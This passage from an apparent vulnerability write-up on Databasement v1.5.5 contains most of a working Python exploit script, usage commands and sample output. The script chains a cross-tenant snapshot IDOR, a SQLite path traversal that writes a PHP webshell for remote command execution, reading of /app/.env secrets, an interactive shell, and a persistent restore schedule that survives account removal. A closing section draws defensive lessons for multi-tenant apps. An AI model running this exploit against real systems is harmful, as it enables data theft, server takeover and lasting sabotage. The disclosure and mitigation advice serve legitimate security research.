                    target_server = srv
                    schedule_id = sid
                    break

        if not target_server or not schedule_id:
            self.log("No server with backup schedule found", "!")
            return False

        server_id = target_server["id"]
        server_name = target_server.get("name", "unknown")
        self.log(f"Target server: {server_name} ({server_id})", "+")
        self.log(f"Backup schedule: {schedule_id}", "+")

        # Find a completed snapshot for the source
        resp = self.api("GET", "/api/v1/snapshots?per_page=100")
        if resp.status_code != 200 or not resp.json().get("data"):
            self.log("No snapshots available", "!")
            return False

        snapshot = None
        for snap in resp.json()["data"]:
            job = snap.get("job") or {}
            if (job.get("status") if isinstance(job, dict) else "") == "completed":
                snapshot = snap
                break

        if not snapshot:
            self.log("No completed snapshot found", "!")
            return False

        # Create the scheduled restore
        payload = {
            "name": f"sched-{''.join(random.choices(string.ascii_lowercase, k=6))}",
            "source_server_id": server_id,
            "source_database_name": snapshot.get("database_name", "db"),
            "target_server_id": server_id,
            "schema_name": snapshot.get("database_name", "db"),
            "backup_schedule_id": schedule_id,
            "enabled": True,
        }

        resp = self.api("POST", "/api/v1/scheduled-restores", json=payload)

        if resp.status_code in (200, 201):
            sched = resp.json().get("data", resp.json())
            self.log(f"Scheduled restore created: {sched.get('id', 'unknown')}", "+")
            self.log(f"Name: {payload['name']}", "+")
            self.log(f"Target: {server_name} → {payload['schema_name']}", "+")
            self.log("This schedule persists even after account removal", "+")
            return True
        else:
            self.log(f"Failed: {resp.status_code} — {resp.text[:200]}", "!")
            return False


def banner():
    print("""
\033[31m
    ╔════════════════════════════════════════════════════╗
    ║  databasement_pwn.py -- Databasement v1.5.5        ║
    ║  IDOR -> Path Traversal -> RCE Chain               ║
    ║  @bytejmp | @d0c84                                 ║
    ╚════════════════════════════════════════════════════╝
\033[0m""")


def main():
    parser = argparse.ArgumentParser(
        description="Databasement v1.5.5 — Exploit Chain (IDOR + RCE + Persistence)",
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog="""
Examples:
  %(prog)s -t http://localhost -u "[email protected]" -p "password" --idor
  %(prog)s -t http://localhost -u "[email protected]" -p "password" --command "id"
  %(prog)s -t http://localhost -u "[email protected]" -p "password" --command "cat /app/.env"
  %(prog)s -t http://localhost -u "[email protected]" -p "password" --shell
  %(prog)s -t http://localhost -u "[email protected]" -p "password" --persist
  %(prog)s -t http://localhost -u "[email protected]" -p "password" --all
        """,
    )

    parser.add_argument("-t", "--target", required=True, help="Target URL (e.g. http://localhost)")
    parser.add_argument("-u", "--user", required=True, help="Email address for authentication")
    parser.add_argument("-p", "--password", required=True, help="Account password")
    parser.add_argument("-k", "--insecure", action="store_true", default=True, help="Skip SSL verification (default: true)")

    actions = parser.add_argument_group("attack modes")
    actions.add_argument("--idor", action="store_true", help="Exploit Snapshot IDOR — dump all cross-tenant snapshots")
    actions.add_argument("--command", metavar="CMD", help="Deploy webshell via RCE chain and execute CMD")
    actions.add_argument("--shell", action="store_true", help="Deploy webshell and drop into interactive shell")
    actions.add_argument("--persist", action="store_true", help="Plant persistent scheduled restore (survives account removal)")
    actions.add_argument("--all", action="store_true", help="Run all exploit chains (uses 'id' for RCE)")

    args = parser.parse_args()

    if not any([args.idor, args.command, args.shell, args.persist, args.all]):
        parser.error("Select at least one: --idor, --command CMD, --shell, --persist, or --all")

    banner()

    exploit = DatabasementExploit(
        target=args.target,
        email=args.user,
        password=args.password,
        verify_ssl=not args.insecure,
    )

    exploit.authenticate()

    if args.idor or args.all:
        print(f"\n\033[36m{'═' * 60}\033[0m")
        print(f"\033[36m  PHASE 1: Cross-Tenant Snapshot IDOR\033[0m")
        print(f"\033[36m{'═' * 60}\033[0m\n")
        exploit.exploit_idor()

    if args.command or args.shell or args.all:
        print(f"\n\033[36m{'═' * 60}\033[0m")
        print(f"\033[36m  PHASE 2: SQLite Path Traversal → RCE\033[0m")
        print(f"\033[36m{'═' * 60}\033[0m\n")
        if args.shell:
            exploit.exploit_shell()
        else:
            exploit.exploit_command(args.command or "id")

    if args.persist or args.all:
        print(f"\n\033[36m{'═' * 60}\033[0m")
        print(f"\033[36m  PHASE 3: Persistent Scheduled Restore\033[0m")
        print(f"\033[36m{'═' * 60}\033[0m\n")
        exploit.exploit_persist()


if __name__ == "__main__":
    main()

Usage:

# Dump all snapshots across tenants (IDOR)
python3 databasement_pwn.py -t http://192.168.0.1 -u "[email protected]" -p "password" --idor

# Execute a single command via RCE chain
python3 databasement_pwn.py -t http://192.168.0.1 -u "[email protected]" -p "password" --command "id"

# Dump .env secrets
python3 databasement_pwn.py -t http://192.168.0.1 -u "[email protected]" -p "password" --command "cat /app/.env"

# Interactive shell
python3 databasement_pwn.py -t http://192.168.0.1 -u "[email protected]" -p "password" --shell

# Plant persistent destructive schedule
python3 databasement_pwn.py -t http://192.168.0.1 -u "[email protected]" -p "password" --persist

# Run everything
python3 databasement_pwn.py -t http://192.168.0.1 -u "[email protected]" -p "password" --all

Example output (–command “id”):

    ╔════════════════════════════════════════════════════╗
    ║  databasement_pwn.py -- Databasement v1.5.5        ║
    ║  IDOR -> Path Traversal -> RCE Chain               ║
    ║  @bytejmp | @d0c84                                 ║
    ╚════════════════════════════════════════════════════╝

  ════════════════════════════════════════════════════════════
    PHASE 2: SQLite Path Traversal → RCE
  ════════════════════════════════════════════════════════════

  [*] Starting RCE chain (Findings #2 + #3)...
  [*] Step 1: Looking for SQLite server + snapshot...
  [+] Found SQLite server: 01ks1abc... (Local SQLite)
  [+] Found completed SQLite snapshot: 01ks1def...
  [*] Step 2: Path traversal restore → /app/public/xkqmwtly.php
  [*] Restoring snapshot to /app/public/xkqmwtly.php (path traversal)...
  [+] Restore dispatched, waiting for queue worker...
  [*] Checking webshell at http://192.168.0.1/xkqmwtly.php...
  [+] RCE confirmed: uid=1000(application) gid=1000(application)
  [+] Executing: id

  uid=1000(application) gid=1000(application) groups=1000(application)

Conclusion

This research reinforces patterns we see repeatedly in web application security — and some that are specific to multi-tenant architectures.

Key Takeaways

1. Multi-tenancy is an all-or-nothing boundary. A single model missing a global scope breaks tenant isolation for the entire system. The Snapshot model had the OrganizationScope import but never registered it — a one-line omission that exposed every tenant’s backup metadata. In multi-tenant systems, tenant scoping should be enforced at the framework level (middleware, base model, or query builder), not left to individual models to opt into. If one model can forget, one model will.

2. API and UI authorization must be symmetric. The Livewire (web UI) path correctly applied forCurrentOrg(), but the API path did not. This is a common pattern when APIs are added after the UI — the new code path doesn’t inherit the same guards. Every authorization check needs to live in the model or policy layer, not in the controller, so it applies regardless of entry point.

3. “Demo mode” is a security decision, not a UX feature. Granting demo users write operations (backup, restore, scheduled tasks) is an explicit policy choice that was documented in code comments. But the downstream consequences — production data exfiltration, destructive DROP DATABASE operations, persistent schedules that survive account removal — were not considered. Demo roles should be additive from zero permissions, not subtractive from full access.

4. File path handling is a trust boundary. SQLite’s schema_name parameter became an arbitrary file write primitive because it was treated as a database name (like MySQL’s testdb) rather than what it actually is — a filesystem path. When a user-controlled value touches copy(), file_put_contents(), or any file operation, it must be validated against a whitelist of allowed directories. The validation rules for other database types (regex:/^[a-zA-Z0-9_]+$/) show the developer understood input restriction — they just didn’t apply it to SQLite.

5. Scheduled tasks are persistence mechanisms. Any feature that creates recurring automated actions (cron jobs, scheduled restores, webhooks) is a persistence vector. If a low-privileged user can create one and it runs under the application’s identity rather than the creator’s, revoking the user’s access doesn’t revoke the scheduled action. Scheduled tasks should carry a created_by foreign key and be invalidated when their creator loses access.

6. Version resets don’t fix vulnerabilities. Between our initial research and publication, the repository was reset from v2.5.x back to v1.0.0 and re-tagged to v1.5.5. All five vulnerabilities persisted across this reset. A version number change is not a security patch — the vulnerable code must actually be modified.

References

CWE References

OWASP

Laravel Security